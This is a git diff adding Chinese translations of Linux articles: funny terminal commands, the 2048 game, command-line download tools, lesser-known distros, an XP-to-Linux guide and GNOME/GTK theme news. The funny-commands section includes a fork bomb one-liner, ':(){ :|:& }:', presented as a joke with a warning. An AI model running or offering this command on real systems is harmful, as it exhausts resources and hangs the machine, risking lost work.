x 5=55 11 x 6=66 11 x 7=77 11 x 8=88 11 x 9=99 11 x 10=110 11 x 11=121 + 12 x 1=12 12 x 2=24 12 x 3=36 12 x 4=48 12 x 5=60 12 x 6=72 12 x 7=84 12 x 8=96 12 x 9=108 12 x 10=120 12 x 11=132 12 x 12=144 + +### 7.命令:Cowsay ### + +一个在终端用**ASCII**码组成的小牛,这个小牛会说出你想要它说的话。 + +#### 安装Cowsay #### + + root@tecmint:~# apt-get install cowsay (for Debian based OS) + root@tecmint:~# yum install cowsay (for Red Hat based OS) + +#### 输出 #### + + root@tecmint:~# cowsay I Love nix + + ____________ + < I Love nix > + ------------ + \ ^__^ + \ (oo)\_______ + (__)\ )\/\ + ||----w | + || || + + +如果用管道将‘**fortune command**’命令重定向到cowsay会怎样呢? + +root@tecmint:~# fortune | cowsay + + _________________________________________ + / Q: How many Oregonians does it take to \ + | screw in a light bulb? A: Three. One to | + | screw in the light bulb and two to fend | + | off all those | + | | + | Californians trying to share the | + \ experience. / + ----------------------------------------- + \ ^__^ + \ (oo)\_______ + (__)\ )\/\ + ||----w | + || || + + +**提示:‘|’**是管道命令符。通常它是将一个命令的输出作为下一个命令的输入。在上面的例子中‘**fortune**’的输出作为‘**cowsay**’命令的输出。管道命令会经常用在脚本和程序编写中。 + +**xcowsay**是一个图形界面程序。它与**cowsay**类似只是以一种图形的方式来表达,可以说是**X**版本的cowsay。 + + apt-get insatll xcowsay + yum install xcowsay + +#### 输出 #### + root@tecmint:~# xcowsay I Love nix + +![xcowsay command](http://www.tecmint.com/wp-content/uploads/2013/05/xcowsay.png) + +**cowthink**是另一个命令。运行“cowthink Linux is sooo funny ”看看它与cowsay的不同吧。 + + apt-get insatll cowthink + yum install cowthink + +#### 输出 #### + + root@tecmint:~# cowthink ....Linux is sooo funny + _________________________ + ( ....Linux is sooo funny ) + ------------------------- + o ^__^ + o (oo)\_______ + (__)\ )\/\ + ||----w | + || || + +### 8. 命令:yes ### + +yes 是一个非常有趣又有用的命令,尤其对于脚本编写和系统管理员来说,它可以自动地生成预先定义的响应或者将其传到终端。 + + root@tecmint:~# yes I Love Linux + + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + I Love Linux + +**提示**: (直到你按下**ctrl+c**才停止) + +### 9. 命令: toilet ### + + +什么?你在开玩笑吗! 当然没有,但肯定的是这个命令的名字太搞了,我也不知道这个命令的名字从何而来。 + +#### 安装toilet #### + + root@tecmint:~# apt-get install toilet + root@tecmint:~# yum install toilet + +#### 输出 #### + + root@tecmint:~# toilet tecmint + + mmmmmmm " m + # mmm mmm mmmmm mmm m mm mm#mm mmm mmm mmmmm + # #" # #" " # # # # #" # # #" " #" "# # # # + # #"""" # # # # # # # # # # # # # # + # "#mm" "#mm" # # # mm#mm # # "mm # "#mm" "#m#" # # # + + +这个命令甚至提供了一些颜色和字体格式。 + + root@tecmint:~# toilet -f mono12 -F metal Tecmint.com + +![toilet command](http://www.tecmint.com/wp-content/uploads/2013/05/toilet.png) + +**提示:Figlet** 是另外一个与toilet产生的效果类似的命令。 + + +### 10. 命令:cmatrix ### + +你可能看多好莱坞的电影‘**黑客帝国**’并陶醉于被赋予**Neo**的能看到在矩阵中任何事物的能力,或者你会想到一幅类似于‘**Hacker**’的桌面的生动画面。 + + +#### 安装 cmatrix #### + + root@tecmint:~# apt-get install cmatrix + root@tecmint:~# yum install cmatrix + +#### 输出 #### + + root@tecmint:~# cmatrix + +![cmatrix command](http://www.tecmint.com/wp-content/uploads/2013/05/cmatrix.png) + +### 11. 命令: oneko ### + + +可能你坚信Linux的鼠标指针永远是同样的黑色或白色一点儿也不生动,那你就错了。“**oneko**”是一个会让一个“**Jerry**”你的鼠标指针附着到你鼠标上的一个软件包。 + +#### 安装 oneko #### + + root@tecmint:~# apt-get install oneko + root@tecmint:~# yum install oneko + +#### 输出 #### + + root@tecmint:~# oneko + +![oneko command](http://www.tecmint.com/wp-content/uploads/2013/05/oneko.png) + + +**提示**:关闭运行着**oneko**的终端时,**Jerry**也会随之消失,重新启动终端时也不会再出项。你可以将这个程序添加到启动选项中然后继续使用它。 + +### 12. Fork炸弹 ### + +这是一段非常欠抽的代码。运行这个命令的后果自己负责。这个命令其实是一个fork炸弹,它会以指数级的自乘,直到所有的系统资源都被利用了或者系统挂起(想要见识这个命令的威力你可以试一次这个命令,但是后果自负,记得在运行它之前关掉并保存其它所有程序和文件)。 + + root@tecmint:~# :(){ :|:& }: + +### 13. 命令:while ### + + +下面的”while“命令是一个脚本,这个脚本可以为你提供彩色的日期和文件直到你按下中断键(ctrl+c)。复制粘贴这个命令到你的终端。 + + root@tecmint:~# while true; do echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done + +![Linux while command](http://www.tecmint.com/wp-content/uploads/2013/05/while.png) + + +**提示**:以上脚本通过下面的修改也会产生类似的输出但是还是有点不同的,在你的终端试试吧。 + + root@tecmint:~# while true; do clear; echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done + +### 14. 命令: espeak ### + +将你的多媒体音箱的音量调到最大,然后在将这个命令复制到你的终端,来看看你听到上帝的声音时的反应吧。 + +#### 安装 espeak #### + + root@tecmint:~# apt-get install espeak + root@tecmint:~# yum install espeak + +#### 输出 #### + + root@tecmint:~# espeak "Tecmint is a very good website dedicated to Foss Community" + +### 15. 命令: aafire ### + +在你的终端放一把火如何。把这个“**aafire**”敲到你的终端,不需要什么引号看看这神奇的一幕吧。按下任意键中指该程序。 + + +#### 安装 aafire #### + + root@tecmint:~# apt-get install libaa-bin + +#### 输出 #### + + root@tecmint:~# aafire + +![](http://www.tecmint.com/wp-content/uploads/2013/05/aafire.png) + +### 16. 命令: bb ### + +首先安装“**apt-get install bb**”,然后敲入“**bb**”看看会发生什么吧。 + + root@tecmint:~# bb + +![bb command](http://www.tecmint.com/wp-content/uploads/2013/05/bb.png) + +### 17. 命令: url ### + + +如果在你的朋友面前用命令行来改变你的 **twitter status** 会不会很酷呢。用你的**用户名密码**和**你想要的状态**分别替换**username, password** 和“**your status message**“就可以了。 + + root@tecmint:~# url -u YourUsername:YourPassword -d status="Your status message" http://twitter.com/statuses/update.xml + +### 18. ASCIIquarium ### + +想要在终端弄一个水族馆该,怎么办? + + root@tecmint:~# apt-get install libcurses-perl + root@tecmint:~# cd /tmp + root@tecmint:~# wget http://search.cpan.org/CPAN/authors/id/K/KB/KBAUCOM/Term-Animation-2.4.tar.gz + root@tecmint:~# tar -zxvf Term-Animation-2.4.tar.gz + root@tecmint:~# cd Term-Animation-2.4/ + root@tecmint:~# perl Makefile.PL && make && make test + root@tecmint:~# make install + +#### 安装 ASCIIquarium #### + +下载并安装**ASCIIquarium**。 + + root@tecmint:~# cd /tmp + root@tecmint:~# wget http://www.robobunny.com/projects/asciiquarium/asciiquarium.tar.gz + root@tecmint:~# tar -zxvf asciiquarium.tar.gz + root@tecmint:~# cd asciiquarium_1.1/ + root@tecmint:~# cp asciiquarium /usr/local/bin + root@tecmint:~# chmod 0755 /usr/local/bin/asciiquarium + + +最后在终端运行“**asciiquarium**”或者“**/usr/local/bin/asciiquarium**”,记得不要加引号,神奇的一幕将在你眼前展现。 + + root@tecmint:~# asciiquarium + +![aquarium command](http://www.tecmint.com/wp-content/uploads/2013/05/ascliquarium.png) + +### 19. 命令: funny manpages ### + + +首先安装“**apt-get install funny-manpages**”然后运行下面命令的man手册。其中一些 + + + + baby + celibacy + condom + date + echo + flame + flog + gong + grope, egrope, fgrope + party + rescrog + rm + rtfm + tm + uubp + woman (undocumented) + xkill + xlart + sex + strfry + + root@tecmint:~# man baby + +### 20. Linux Tweaks ### + +该到了做一些优化的时候了 + + root@tecmint:~# world + + bash: world: not found + + root@tecmint:~# touch girls\ boo** + + touch: cannot touch `girls boo**`: Permission denied + + root@tecmint:~# nice man woman + + No manual entry for woman + + root@tecmint:~# ^How did the sex change operation go?^ + + bash: :s^How did the sex change operation go?^ : substitution failed + + root@tecmint:~# %blow + + bash: fg: %blow: no such job + + root@tecmint:~# make love + + make: *** No rule to make target `love`. Stop. + + $ [ whereis my brain? + sh: 2: [: missing ] + + % man: why did you get a divorce? + man:: Too many arguments. + + % !:say, what is saccharine? + Bad substitute. + + server@localhost:/srv$ \(- + bash: (-: command not found + + +Linux总是sexy:**who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep**(如果你知道我的意思,汗!) + + +还有一些其它的命令,只是这些命令并不能在所有的系统上运行,所以本文没有涉及到。比如说**dog , filter, banner** + +使用愉快,你可以稍后再对我说谢谢:)您的评价是我们前进的不竭动力。告诉我们你最喜欢的命令。继续关注,不久我会有另一篇值得阅读的文章。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/20-funny-commands-of-linux-or-linux-is-fun-in-terminal/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201404/2048 Now Available For Offline Play In Ubuntu.md b/published/201404/2048 Now Available For Offline Play In Ubuntu.md new file mode 100644 index 0000000000..b724abc038 --- /dev/null +++ b/published/201404/2048 Now Available For Offline Play In Ubuntu.md @@ -0,0 +1,30 @@ +2048 现在可以在Ubuntu上离线玩了 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/03/2048_ubuntu_game.jpeg) + +2048是最近全世界范围内的流行游戏。这个小游戏通过上下左右移动访客来完成。这个游戏的目标是通过组合匹配数字的方块到2048。如2+2变成4,4+4变成8等等(译注:原文4+4 becomes 16应为笔误)。听上去很简单但是相信我这是一个让人上瘾的游戏。 + +[2048][1],它基于另外一个相似且流行的游戏[3][2],这在Android,iOS,Windows和Web浏览器上都可以得到。要在网络上玩,你就需要一个可用的网络。但是幸亏[Lffl][3]出手,我们已经为您离线打包了2048。 + +你可以下载.deb安装包并在Ubuntu和(我想可以)其他基于Ubuntu的发行版上安装。你可以在Unity dash中像其他程序一样搜索它。但是这里有一个问题。游戏会在游览器中打开而没有自己的GUI。这对我可以接受,只要可以无需因特网玩这个游戏就行。你的分数会每局保存下来,这样你就可以保留你的记录了。 + +- [Download 2048 for Ubuntu and Linux Mint][4] + +哦!对于[Doctor Who][5](神秘博士)的粉丝,我们也有一个相似的神秘博士角色的游戏。 + +(译注:2048有不少开源的实现,所以,小编就在站上放了一个:http://linux.cn/static/2048 ,没事可以玩两局——嘘,别让人知道是我悄悄放的——我也期望你可以给我些创意,也许可以将它和Linux结合起来?这样就可以光明正大的放了~ ) + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/2048-offline-play-ubuntu/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://gabrielecirulli.github.io/2048/ +[2]:http://asherv.com/threes/ +[3]:http://www.lffl.org/ +[4]:http://sourceforge.net/projects/linuxfreedomfor/files/ubuntu/2048_1_all.deb/download +[5]:http://en.wikipedia.org/wiki/Doctor_Who +[6]:http://games.usvsth3m.com/2048-doctor-who-edition/ diff --git "a/published/201404/5 Command Line Tools for Downloading Files\357\274\217Torrents and Browsing Websites.md" "b/published/201404/5 Command Line Tools for Downloading Files\357\274\217Torrents and Browsing Websites.md" new file mode 100644 index 0000000000..5c1deb44d6 --- /dev/null +++ "b/published/201404/5 Command Line Tools for Downloading Files\357\274\217Torrents and Browsing Websites.md" @@ -0,0 +1,134 @@ +在终端上访问网站和下载文件 +================================================================================ +Linux 命令行工具很牛逼,Linux 命令行以及一些第三方应用让 Linux 变得更牛逼。Linux 命令行工具可以用于下载种子和文件,可以上网冲浪。 + +![5 Command Line Internet Tools](http://www.tecmint.com/wp-content/uploads/2014/02/Command-Line-Internet-Tools.jpg) + +本文推荐的**5个强悍的上网工具**方便实用,是居家旅行的必备物品。 + +### 1. rTorrent ### + +rTorrent 基于文本的 Torrent 客户端,用 C++ 调制而成,我们的目标是高性能!我们可运行在标准的 Linux 发行版中,包括 FreeBSD 和 Mac OS X。 + +#### 安装 rTorrent #### + + # apt-get install rtorrent (基于 APT 的系统,如 Debian,Ubuntu) + + # yum install rtorrent (基于 YUM 的系统,如 RHEL,Fedora) + +检查有没有安装成功,运行下面命令试试: + + # rtorrent + +![rTorrent Command Line Tool](http://www.tecmint.com/wp-content/uploads/2014/02/rTorrent.jpeg) + +#### rTorrent 的用法 #### + +下面是 rTorrent 比较常用的功能: + +- **CTRL+ q** – 退出 rTorrent。 +- **CTRL+ s** – 开始下载。 +- **CTRL+ d** – 暂停下载任务,或删除己被暂停的下载任务。 +- **CTRL+ k** – 关闭一个正在下载的任务 +- **CTRL+ r** – 在开始上传、下载之前,使用 Hash 检查文件,确保文件的完整性。 +- **CTRL+ q** – 按再次这个组合键,rTorrent 无条件退出。 +- **Left Arrow Key** – 回退到上个页面。 +- **Right Arrow Key** – 前进到下个页面。 + +### 2. Wget ### + +**Wget** 是一个 GNU 项目,它的名称参考了 World Wide Web (**WWW**)。Wget 在递归下载方面做得很好,你可以将整个网站的内容都下到本地,然后访问本地的 **HTML** 文件。它支持多种操作系统:**Windows,Mac,Linux**。它支持多种协议,可通过 **HTTP,HTTPS 和 FTP** 下载文件。它可以对整个网站做一个镜像(完全将目标网站的文件下载到本机),支持代理,支持断点传输(即下载可暂停)。 + +#### 安装 Wget #### + +**Wget** 也是一个 GNU 项目,在标准 Linux 发行版中都有内置,就是说你不用下载安装它就可以使用了。万一,它没有被默认安装,你也可以通过 **APT** 或 **YUM** 安装。 + + # apt-get install wget (基于 APT 的系统,如 Debian,Ubuntu) + + # yum install wget (基于 YUM 的系统,如 RHEL,Fedora) + +#### Wget 的用法 #### + +下载一个文件: + + # wget http://www.website-name.com/file + +下载整个网站: + + # wget -r http://www.website-name.com + +下载指定类型的文件(比如 PDF 和 PNG): + + # wget -r -A png,pdf http://www.website-name.com + +下面是一张 Wget 的截图,我们正在把 **Yahoo.com** 网站整个都镜像下来。 + +![Wget Command Line File Download](http://www.tecmint.com/wp-content/uploads/2014/02/Wget.jpeg) + +关于 wget 的更多用法,参考[Wget 的10个的用法][1]。 + +### 3. cURL ### + +**cURL** 是一个客户端工具,支持多种文件传输协议,比如 **FTP, HTTP, FTPS, TFTP, TELNET, IMAP, POP3** 等等。不像 wget 等工具,cURL 只是一个单纯的下载器,支持 **LDAP, POP3**,支持代理下载,支持断点续传。 + +#### 安装 cURL #### + +大多数发行版都默认安装了 cURL,如果没有,可通过 **apt** 或 **yum** 下载: + + # apt-get install curl (基于 APT 的系统,如 Debian,Ubuntu) + + # yum install curl (基于 YUM 的系统,如 RHEL,Fedora) + +#### cURL 基本用法 #### + + # curl www.tecmint.com + +![Curl Data Download](http://www.tecmint.com/wp-content/uploads/2014/02/Curl.jpeg) + +![Curl Download](http://www.tecmint.com/wp-content/uploads/2014/02/Curl-2.jpeg) + +### 4. w3m ### + +W3m 是基于文本的网页浏览器,使用 GPL 协议,支持 tables, frames, color, SSL 连接,支持内嵌图片,以快速闻名。 + +#### 安装 w3m #### + +W3m 也是大多数发行版的默认配置,也可通过 **apt** 或 **yum** 安装。 + + # apt-get install w3m (基于 APT 的系统,如 Debian,Ubuntu) + + # yum install w3m (基于 YUM 的系统,如 RHEL,Fedora) + +#### w3m 的基本用法 #### + + # w3m www.tecmint.com + +![w3m Text Based Web Browser](http://www.tecmint.com/wp-content/uploads/2014/02/w3m.jpeg) + +### 5. Elinks ### + +**Elinks** 是一个免费的基于本文的网页浏览器,支持 **HTTP**,支持 **HTTP Cookie**,支持 **Perl** 和 **Ruby** 写的脚本,支持网页标签,支持鼠标,可彩色显示页面,支持 **HTTP, FTP,SMB,IPv4,IPv6**。 + +#### 安装 Elinks #### + +大多数发行版已经默认安装了 Elinks,如果没有,通过 **apt** 或 **yum** 安装。 + + # apt-get install elinks (基于 APT 的系统,如 Debian,Ubuntu) + + # yum install elinks (基于 YUM 的系统,如 RHEL,Fedora) + +#### Elinks的基本用法 #### + + elinks www.tecmint.com + +![Elinks Command Line Web Browsing](http://www.tecmint.com/wp-content/uploads/2014/02/Elinks.jpeg) + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/command-line-tools-for-downloading-file-and-browsing-websites/ + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/10-wget-command-examples-in-linux/ diff --git a/published/201404/5 Linux Distributions that Deserve more Love.md b/published/201404/5 Linux Distributions that Deserve more Love.md new file mode 100644 index 0000000000..b57c43d709 --- /dev/null +++ b/published/201404/5 Linux Distributions that Deserve more Love.md @@ -0,0 +1,60 @@ +5个需要更多关爱的Linux发行版 +================================================================================ +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/linux.jpg) + +就像我以前在文章里写的, [Linux 无处不在][1],所以即使没有数千种,也有数百种之多的发行版。有一些发行版非常有名,其中一些拥有上千万的用户基础,而有一些却只能生活在这些光辉闪耀的发行版的阴影之中。有一些发行版在大的发行版轻松享受的影响力的连接处挣扎求存,同时每年都有一些触手可及的发行版灭亡。但是我们今天在这里讨论几个还没有得到他们应得的关爱的发行版。不论这个发行版是原始的或分支或基于其他的发行版的,如果它工作起来对于日常使用是足够稳定的,同时没有得到应得的关爱,它就可以放到这个列表中。 + +### 5. Rosa ### + +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/o_bootscreen-von-rosa-desktop-2012.jpg) + +[ROSA Desktop][2], 是一个拥有高度定制性的KDE桌面发行版,它有大量来自 ROSA 的改动旨在加强工作环境开发的用户友好性。ROSA是一家俄国公司,他还提供了一个基于红帽的企业版的企业服务器版ROSA给开发者。这是你在网上能找到的最具有定制性的发行版之一,它拥有大量的的家用特性,像一个完全重新设计的登录窗口,一个叫做“TimeFrame”的日程管理软件,大量改动的“Dolhpin”文件管理器,Rocket Bar,Simple Welcome,Rosa Media Player和很多其他的软件。 + +### 4. Korora ### + +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/korora_3d_text_by_topazharley-d71surb.png) + +[Korora][3] 是基于让 Linux新手用起来更容易,但同时也是一个对专家很有用的愿景而产生的系统。最初是2005年基于Gentoo Linux 的系统 ,korora在2010年作为一个Fedora 的混音版重新出世,它搭载 tweaks和一些额外的功能以使系统可以开箱即用。korora拥有一个融合的Fedora + RPM Fusion+ korora的包系统。其中korora提供尖端和一个红帽发行版的稳定,让它可以毫不费力的实现开箱即用。许多人抱怨Fedora太麻烦,但是 Fedora就是这样设计的啊。对于喜欢 Fedora 同时仍希望可以开箱即用的人们,korora就是为你准备的。 + +### 3. Chakra Linux ### + +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/schermata2.png) + +如果你是KDE的铁杆粉丝而且你无法忍受长达几个月的等待时间才能用上最新的软件,那么你有一款天堂般的选择,他们管它叫Chakra Linux。这个发行版最初是Arch Linux的一个分支,但是现在已经是一个独立的发行版了,它拥有自己的仓库、包、内核和半/滚动发布周期。 + +[Chakra Linux][4] 工作性能很好而且拥有Arch Linux的所有优点。有些人可能争论为什么不直接用Arch Linux,然后用KDE代替 Chakra Linux。首先是安装过程,无论每个人如何证明你自己装起来多容易,事实上并非如此。一个OS应该很容易使用同时安装起来更容易,而不是别的样。 + +Chakra Linux 是很少的一个可以获得的、真正的KDE发行版,因此可以保证你可以拥有到最好的KDE体验在你使用 Chakra Linux的时候。 + +### 2. Ubuntu Gnome ### + +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/gnomeubuntu-vert-wh.png) + +Ubuntu 可能是近些年颇受关注和争论的一个版本,尤其是转到 Unity 的决定,但是我个人对 Unity 感觉很好。另一方面,我在装 Nivida的时候它的错误是如此的多,而且我经常看到有人抱怨 Unity 糟糕的表现。还有其他的半官方的的版本可以选择但是没有一个真的很像Ubuntu的体验,直到[Ubuntu Gnome][5] 出现。 + +关于这个不需要说太多, Ubuntu Gnome 就是一个披着 Gnome Shell 外壳的 Ubuntu, (“之所以列出来是因为”)我觉得它应该在名单上。Ubuntu 曾经因为 Canonical 极少犯错误而风靡一时,这个发行版也不该太惨。我可以很高兴的告诉你,你可以从 Ubuntu Gnome 中感受到原始的 Ubuntu 的每一项优点同时避开 Canonical 的那些粗鲁的暴力措施。 + +### 1. Sabayon Linux ### + +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/sabayon_5.3.jpg) + +[Sabayon][6] Linux 是一个基于 Gentoo 的发行版的、遵循开箱即用的哲学,而且它做的很踏实一步都没有跳过。这听起来有点偏,但 Sabayon 在大量的系统中是极少数的真正可以开箱即用的发行版 。 + +Sabayon 遵循不说废话的哲学,一切按它应该是的方式运行,你不需要关心终端是否把事情做好了,你不需要添加额外的库增加最明显的功能,一切都在它应该在的地方,顺道说一下,如果你愿意你可以做,但问题是你不能强迫用户做所有的这些事情。如果我想用Arch Linux但是不想用终端使我痛苦的撞头,我就应该能做到。 + +Sabayon 是一个尖端的,快速的和令人惊讶的稳定发行版,归功于坚实的Gentoo的核心。它让你选择的桌面环境很容易使用,安装更方便,开箱即用,拥有一个很简单的功能和很强大的包管理器,配备所需的大部分应用程序,然后它仍然可以被深度定制,就像任何其他的分布。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxfederation.com/linux-distributions-love/ + +译者:[crowner](https://github.com/crowner) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2480-1.html +[2]:http://www.rosalab.com/products/desktop_fresh +[3]:https://kororaproject.org/ +[4]:http://www.chakra-project.org/ +[5]:http://ubuntugnome.org/ +[6]:http://www.sabayon.org/ \ No newline at end of file diff --git a/published/201404/A Beginners Guide for XP Users to Switch to Linux.md b/published/201404/A Beginners Guide for XP Users to Switch to Linux.md new file mode 100644 index 0000000000..12722be8b0 --- /dev/null +++ b/published/201404/A Beginners Guide for XP Users to Switch to Linux.md @@ -0,0 +1,37 @@ +从 XP 迁移到 Linux 的入门指南 +================================================================================= + +![](http://www.linuxfederation.com/wp-content/uploads/2014/04/Switch_To_linux.jpeg) + +Microsoft 已经不再支持 Windows XP 了。大多数人也许并不关心这事儿,但对于知道使用服务终止的软件会有麻烦的你来说,做点儿改变的时候到了。你可以安装同样落伍的 Windows 7,或者安装没人喜欢的 Windows 8。或者,你可以从风格众多的 Linux 中选择一款来安装,化身成为 Linux 用户这个精英团体的一员。 + +和 Windows 可不一样,你不需要为了让系统启动运行而支付数百美元。Linux 是免费的,并且未来也不会收费。Linux 附带一切必要的应用程序,比如互联网浏览器、电子邮件客户端、视频播放器、照片编辑器等一大堆同样免费的软件,但要想享用这些软件,你首先得说服自己迁移到 Linux。你可能会想,我本来可以好好儿地继续用我旧版的 Windows,干嘛要费神用别的东西。听我解释,这花不了多长时间。 + +Linux 和 Windows 不一样,它可不是 Microsoft 花钱雇人做的,而是在像 Red Hat、IBM、HP、Samsung 等众多 Linux 基金会领导下的技术巨头以及全世界成千上万的志愿者的协作下开发的。所以,你可以确信你在用的不是个别大牛工程师的小众作品,而是开发人员遍布全球的坚实的操作系统。 + +这一点使得 Linux 跻身全世界最安全的操作系统之列。好吧,百分之百的安全是不存在的,但使用 Linux 能保证安全在你身边寸步不离,这是 Google、Facebook、Twitter、IBM、NASA 等公司使用 Linux 的唯一理由。这里列出了[使用 Linux 的世界顶级公司和组织][1]。Linux 是个非常轻量级的操作系统,却既能支持最前沿的新硬件,也能支持几十年前的老硬件。 + +现在,如果关于 Linux 的概念已经勾起了你的兴致,我们来看看房间里的下一头大象(译注:原文是 the next elephant in the room。the elephant in the room 通常指显而易见却避而不谈的问题)—— 你在 Windows XP 下最爱的应用程序。Linux 环境有你在 Windows 下爱用的绝大部分应用程序,包括 Firefox、Chrome、Steam、VLC、Skype 和 Team Viewer。如果你找不到你某个你在 Windows 上用过的软件,那么试试 Linux 环境下数量庞大的替代品吧。与你的 Windows 应用程序相比,它们的功能更强大,而且都是协作开发的。 + +列举几个常见的替代方案:Libre Office 可以代替 Microsoft Office,Thunderbird 可以替代 Outlook,Gimp 可以替代 Adobe Photoshop,它们全都永久免费,而且你不用为每年的小更新升级支付数百美元。你不会像用 Windows 那样只有很少的几种应用程序可供选择(这是 Microsoft 的垄断行为造成的),也就是说,任何时候如果你对 Libre Office 不满意,你都可以改用另一个非常可靠的办公软件套件 Open Office。 + +使用 Linux 最好的事情是,你根本不用担心病毒,也完全没必要安装昂贵且耗费资源严重的网络安全程序,因为它们几乎保护不了你。Windows 立足于让整个网络安全事业有利润可榨取,这么看来,反病毒公司真是干得不错。相反,Linux 并不鼓励这种行为,它本就是全世界最安全的操作系统之一。这也解释了为什么大部分全球防务系统和股票交易系统运行的是 Linux。 + +好吧,如果你因为从没见过有人用 Linux 所以还是不服的话,看看你和你身边人的安卓手机吧,它就是在 Linux 上构建的。电视、空调、洗衣机和你钟爱的咖啡机运行的也是 Linux。你已经生活在了一个运行 Linux 的世界里,但你却拒绝成为这个世界的一部分。再前进一小步吧,你马上就会变成 Linux 精英用户了。 + +别说教了,咱们开始用用 Linux 吧。首先我们要选择一款 Linux,这是最有意思的部分了。初次选择 Linux 就像哈利·波特选择魔杖一样。每个风格不同的 Linux 都运行在相同的我们称之为“内核(Kernel)”的坚实基础之上,不同风格的 Linux 我们称之为“发行版”。 + +Linux 目前有数百个发行版,[Distrowatch][2] 按流行度顺序列出了所有发行版。Ubuntu、Linux Mint、Fedora、Debian 以及 Open Suse 是几个比较著名的 Linux 发行版。如果你怀念 Windows XP 的感觉,那最好选择 Linux Mint。如果你想体验一下新奇的东西,尝试一下 Ubuntu 的 Unity 界面、Fedora 的 Gnome 界面或者 Open Suse 的 KDE 界面。Unity、Gnome、KDE 是不同的用户界面的名字,我们称之为“桌面环境(Desktop Environment)”。这些桌面环境在很老的系统上也能使用,但如果你真的要在很古老的机器上使用 Linux,你可以试试轻量级的桌面环境,比如 XFCE 和 LXDE,它们很轻量级,用户界面要简单一些。 + +好了,选择一款你喜欢的 Linux 发行版并开始使用吧。Linux 是免费、稳定并且安全的,如果还有什么说的,那就是,如果你用着开心,就为 Linux 基金会那些家伙的出色工作捐点钱吧。我不打算写安装教程,因为那些东西网上到处都是。我在线上和线下帮助我的朋友迁移到 Linux,你也应该帮助你的朋友迁移到 Linux。 + +--------------------------------------------------------------------------------- + +译自: http://www.linuxfederation.com/beginners-guide-xp-users-switch-linux/ + +译者:[sailing](https://github.com/blueabysm) 校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxfederation.com/linux-everywhere/ +[2]:http://distrowatch.com/ diff --git a/published/201404/Beautiful Zukitwo Theme Is the First One for GNOME 3.12.md b/published/201404/Beautiful Zukitwo Theme Is the First One for GNOME 3.12.md new file mode 100644 index 0000000000..a65ff3c94e --- /dev/null +++ b/published/201404/Beautiful Zukitwo Theme Is the First One for GNOME 3.12.md @@ -0,0 +1,25 @@ +美丽的Zukitwo是Gnome 3.12上的第一个主题 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Beautiful-Zukitwo-Theme-Is-the-First-One-for-GNOME-3-12-434833-2.jpg) + +**Zukitwo是一个为Gnome 3.12 设计的美丽主题,它利用了GTK2引擎Murrine和GTK2 pixbuf引擎,目前的版本是2014.03.29。** + +Zukitwo在Gnome 3.12 发布不就之后就已经更新,并且它可能是第一个支持新版本Gnome的主题。许多其他的主题可能会很快就会跟上,但是,巧合地,Zukitwo是其中最棒的之一。 + +根据变更记录,Gnome 3.12 更新很以前没有很大的不同,但是仍有一些引人注意的。Gnome的老版本用户不应该升级到新版本。这是专门为Gnome 3.12 用户准备的。 + +这个事实的一个可笑之处是目前还没有Gnome 3.12的用户。即使新的桌面环境更新已经释出了,但是还没有哪个Linux发行版在使用它,因此这很难去测试它。 + +这个主题有两个要求:GTK2引擎Murrine 0.98.1.1或者更新和GTK2 pixbuf引擎或者gtk(2)-engines包。 + +检查一下更新日志来获取完整的修复列表。现在就从gnome.org上下载[Zukitwo 2014.03.29][1] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Beautiful-Zukitwo-Theme-Is-the-First-One-for-GNOME-3-12-434833.shtml + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://gnome-look.org/content/show.php/Zukitwo?content=140562 diff --git a/published/201404/Because You Can--Windows 8 GTK Theme For Linux.md b/published/201404/Because You Can--Windows 8 GTK Theme For Linux.md new file mode 100644 index 0000000000..fc5e7edd02 --- /dev/null +++ b/published/201404/Because You Can--Windows 8 GTK Theme For Linux.md @@ -0,0 +1,45 @@ +你赢了!Linux上的Windows 8 GTK主题 +============================================================================= + +现在我居住的地方正值炎夏,但是相比较我正在写的文章将会引来的暴风雨,还是温和了不少:是的!我正在写关于Windows GTK主题的文章。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/02/windows-8-gtk-theme.png) + +好吧,认错时间:我,个人并没有坐在桌前想着:“我的Ubuntu桌面真的需要...需要看起来像另一个操作系统一样!”。当我确认模仿另一个操作系统的外观的行为很不对我的胃口时,但世界上有那么多的用户,没准有些用户——可能也包括你——会对这有兴趣呢! + 